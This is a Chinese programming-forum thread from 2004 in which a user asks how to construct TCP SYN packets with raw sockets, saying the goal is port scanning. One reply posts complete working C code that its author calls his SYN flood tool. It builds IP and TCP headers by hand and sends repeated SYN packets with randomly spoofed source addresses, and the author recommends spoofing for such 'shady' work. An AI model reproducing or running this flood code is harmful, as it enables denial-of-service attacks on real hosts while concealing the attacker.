社区
网络编程
帖子详情
如何用系统调用来构造SYN数据包?
nbczhouyi
2004-12-21 11:33:10
这个问题可能比较麻烦,我搜索了网上,好像没有相关的资料
...全文
271
12
打赏
收藏
如何用系统调用来构造SYN数据包?
这个问题可能比较麻烦,我搜索了网上,好像没有相关的资料
复制链接
扫一扫
分享
转发到动态
举报
写回复
配置赞助广告
用AI写文章
12 条
回复
切换为时间正序
请发表友善的回复…
发表回复
打赏红包
property1
2004-12-21
打赏
举报
回复
要用 原始套接字
自己填写 ip tcp 头了, 象上面的
iq199
2004-12-21
打赏
举报
回复
其中一些类型定义
//IP首部
struct IP_HEADER
{
#ifdef BO_BIG_ENDIAN
UINT08_T version:4,
ihl:4;
#endif
#ifdef BO_LITTLE_ENDIAN
UINT08_T ihl:4,
version:4;
#endif
UINT08_T tos;
UINT16_T total_len;
UINT16_T ident;
#ifdef BO_BIG_ENDIAN
UINT16_T flags:3,
frag:13;
#endif
#ifdef BO_LITTLE_ENDIAN
UINT16_T frag:13,
flags:3;
#endif
UINT08_T ttl;
UINT08_T protocol;
UINT16_T checksum;
UINT32_T saddr;
UINT32_T daddr;
};
//UDP与TCP伪首部
struct PSD_HEADER
{
UINT32_T saddr;
UINT32_T daddr;
UINT08_T mbz;
UINT08_T protocol;
UINT16_T len;
};
//TCP首部
struct TCP_HEADER
{
UINT16_T sport;
UINT16_T dport;
UINT32_T seq;
UINT32_T ackseq;
#ifdef BO_BIG_ENDIAN
UINT16_T len:4,
res1:4,
res2:2,
urg:1,
ack:1,
psh:1,
rst:1,
syn:1,
fin:1;
#endif
#ifdef BO_LITTLE_ENDIAN
UINT16_T res1:4,
len:4,
fin:1,
syn:1,
rst:1,
psh:1,
ack:1,
urg:1,
res2:2;
#endif
UINT16_T win_size;
UINT16_T checksum;
UINT16_T urgentp;
};
iq199
2004-12-21
打赏
举报
回复
这是我写的syn flood中的主要的代码
int send_tcp_syn(char *daddr_str, UINT16_T dport, int count/* = 1 */, char *saddr_str/* = NULL */, UINT16_T sport/* = 0 */)
{
SOCKET sock = socket(AF_INET, SOCK_RAW, IPPROTO_IP);
if (sock == INVALID_SOCKET)
{
return -1;
}
int flag = true;
if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (const char *)&flag, sizeof(int)) == SOCKET_ERROR)
{
closesocket(sock);
return -2;
}
int timeout = 1000;
if (setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, (char*)&timeout, sizeof(timeout)) == SOCKET_ERROR)
{
closesocket(sock);
return -3;
}
IP_HEADER ip_header;
ip_header.version = 4;
ip_header.ihl = sizeof(JHUtilNET::IP_HEADER)/sizeof(UINT32_T);
ip_header.tos = 0;
ip_header.total_len = htons(sizeof(JHUtilNET::IP_HEADER)+sizeof(JHUtilNET::TCP_HEADER)); ;
ip_header.ident = htons(1);
ip_header.flags = 0;
ip_header.frag = 0;
ip_header.ttl = 128;
ip_header.protocol = IPPROTO_TCP;
ip_header.daddr = inet_addr(daddr_str);
JHUtilNET::PSD_HEADER psd_header;
psd_header.daddr = ip_header.daddr;
psd_header.mbz = 0;
psd_header.protocol = IPPROTO_TCP;
psd_header.len = htons(sizeof(JHUtilNET::TCP_HEADER));
JHUtilNET::TCP_HEADER tcp_header;
tcp_header.dport = htons(dport);
tcp_header.ackseq = 0;
tcp_header.len = (sizeof(JHUtilNET::TCP_HEADER) / 4);
tcp_header.res1 = 0;
tcp_header.res2 = 0;
tcp_header.urg = 0;
tcp_header.ack = 0;
tcp_header.urg = 0;
tcp_header.psh = 0;
tcp_header.rst = 0;
tcp_header.syn = 1;
tcp_header.fin = 0;
tcp_header.win_size = htons(512);
tcp_header.urgentp = 0;
char tcp_header_buf[sizeof(JHUtilNET::PSD_HEADER) + sizeof(JHUtilNET::TCP_HEADER)];
char ip_buf[sizeof(JHUtilNET::IP_HEADER) + sizeof(JHUtilNET::TCP_HEADER)];
SOCKADDR_IN dest_addr;
memset((void*)&dest_addr, 0, sizeof(SOCKADDR_IN));
dest_addr.sin_family = AF_INET;
dest_addr.sin_addr.S_un.S_addr = ip_header.daddr;
srand((unsigned int)time(NULL));
for (int i = 0; i < count; i++)
{
if (saddr_str == NULL || strlen(saddr_str) == 0)
ip_header.saddr = (UINT32_T)rand() << 16 | rand();
else
ip_header.saddr = inet_addr(saddr_str);
ip_header.checksum = 0;
ip_header.checksum = JHUtilNET::checksum((UINT16_T*)&ip_header, sizeof(JHUtilNET::IP_HEADER));
psd_header.saddr = ip_header.saddr;
tcp_header.seq = (UINT32_T)rand() << 16 | rand();
if (sport == 0)
tcp_header.sport = (UINT16_T)rand();
else
tcp_header.sport = htons(sport);
tcp_header.checksum = 0;
memcpy(tcp_header_buf, &psd_header, sizeof(JHUtilNET::PSD_HEADER));
memcpy(tcp_header_buf + sizeof(JHUtilNET::PSD_HEADER), &tcp_header, sizeof(JHUtilNET::TCP_HEADER));
tcp_header.checksum = JHUtilNET::checksum((UINT16_T*)tcp_header_buf, sizeof(JHUtilNET::PSD_HEADER) + sizeof(JHUtilNET::TCP_HEADER));
memcpy(ip_buf, &ip_header, sizeof(JHUtilNET::IP_HEADER));
memcpy(ip_buf + sizeof(JHUtilNET::IP_HEADER), &tcp_header, sizeof(JHUtilNET::TCP_HEADER));
int return_val = sendto(sock, ip_buf, sizeof(JHUtilNET::IP_HEADER) + sizeof(JHUtilNET::TCP_HEADER), 0, (sockaddr*)&dest_addr, sizeof(SOCKADDR_IN));
if (return_val == SOCKET_ERROR)
{
closesocket(sock);
return -4;
}
}
closesocket(sock);
return 0;
}
partime
2004-12-21
打赏
举报
回复
搜索RawSocket
nbczhouyi
2004-12-21
打赏
举报
回复
回复 HanZhu1(寒竹) 不是,我想扫描端口,不想用Connect方法来扫描,想用TCP SYN扫描
HanZhu1
2004-12-21
打赏
举报
回复
你想做 拒绝服务 攻击啊
nbczhouyi
2004-12-21
打赏
举报
回复
现在还是有一个问题
error C2065: 'dport' : undeclared identifier
dport是在TCP_HEADER里定义的阿
nbczhouyi
2004-12-21
打赏
举报
回复
我只是在学习网络编程,只是个菜鸟了
iq199
2004-12-21
打赏
举报
回复
另外,在windows下,再
#define BO_LITTLE_ENDIAN
这样就不会
“下面的变量老是出错说 not a member of 'IP_HEADER'”
我的函数源地址saddr_str和源端口sport如果不指定,会随机生成。
做这种见不得人的事情,还是伪造源ip比较好~
iq199
2004-12-21
打赏
举报
回复
typedef unsigned __int8 UINT08_T;
typedef unsigned __int16 UINT16_T;
typedef unsigned __int32 UINT32_T;
typedef unsigned __int64 UINT64_T;
我这样写主要想到unix下编译修改少一些
包含afxsock.h就行了,afxsock.h里面已经包含了winsock2.h
另外,在我前面的那些ip头、tcp头结构定义的最前面,加上
#pragma pack(push, 1)
(单字对齐)
nbczhouyi
2004-12-21
打赏
举报
回复
#define UINT08_T BYTE
#define UINT16_T WORD
#define UINT32_T DWORD
这样定义行不?
下面的变量老是出错说 not a member of 'IP_HEADER'
version
ihl
flags
frag
nbczhouyi
2004-12-21
打赏
举报
回复
UINT32_T
UINT16_T
UINT08_T
你是怎么定义的阿?
还有我现在用的是MFC编程,已经包含了头文件#include <afxsock.h>
如果再包含#include <winsock2.h>就会出现许多的结构被重定义的错误,是不是非得重新建一个工程阿 ?
计算机网络 传输层 TCP和UDP协议
传输层协议加一个端口号来标识一个应用层协议, 展示了传输层协议和应用层协议之间的关系 # 使用TCP/IP筛选实现网络安全 防火墙设置与端口 # UDP协议特点和报文格式 UDP是无连接的:即发送数据之前不需要建立连接 ...
Python 使用Scapy
构造
特殊
数据包
Scapy是一款Python库,可用于构建、发送、接收和解析网络...这些工具都是基于
构造
、发送和解析网络
数据包
来实现的,可以用于模拟各种网络攻击,测试网络安全防御措施等。Scapy是网络安全领域中非常有用的工具之一。
linux内核发送
构造
数据包
的方式,Linux内核发送
构造
数据包
的方式 | 学步园
作者:Godbach日期:2009/09/01一、
构造
数据包
简析这里并不详细介绍如何在内核中
构造
数据包
,下文如有需要会在适当的位置进行分析。这里简单的分析讲一下内核态基于Netfilter框架
构造
数据包
的方式。内核中可以用到的...
网络篇之三次握手(
SYN
+ACK)
介绍tcp三次握手中的第二次握手(
SYN
+ACK)的发送过程
linux内核发送
构造
数据包
的方式,Linux内核发送
构造
数据包
的方式 - Linux内核相关 - sQuare de 技术笔......
一、
构造
数据包
简析这里并不详细介绍如何在内核中
构造
...其一,我们直接用alloc_skb申请一个skb结构体,然后根据实际的应用填充不同的成员,或者基于当前
数据包
的skb,
调用
skb_copy_expand()函数等新申请一个nskb...
网络编程
18,356
社区成员
64,217
社区内容
发帖
与我相关
我的任务
网络编程
VC/MFC 网络编程
复制链接
扫一扫
分享
社区描述
VC/MFC 网络编程
c++
c语言
开发语言
技术论坛(原bbs)
社区管理员
加入社区
获取链接或二维码
近7日
近30日
至今
加载中
查看更多榜单
社区公告
暂无公告
试试用AI创作助手写篇文章吧
+ 用AI写文章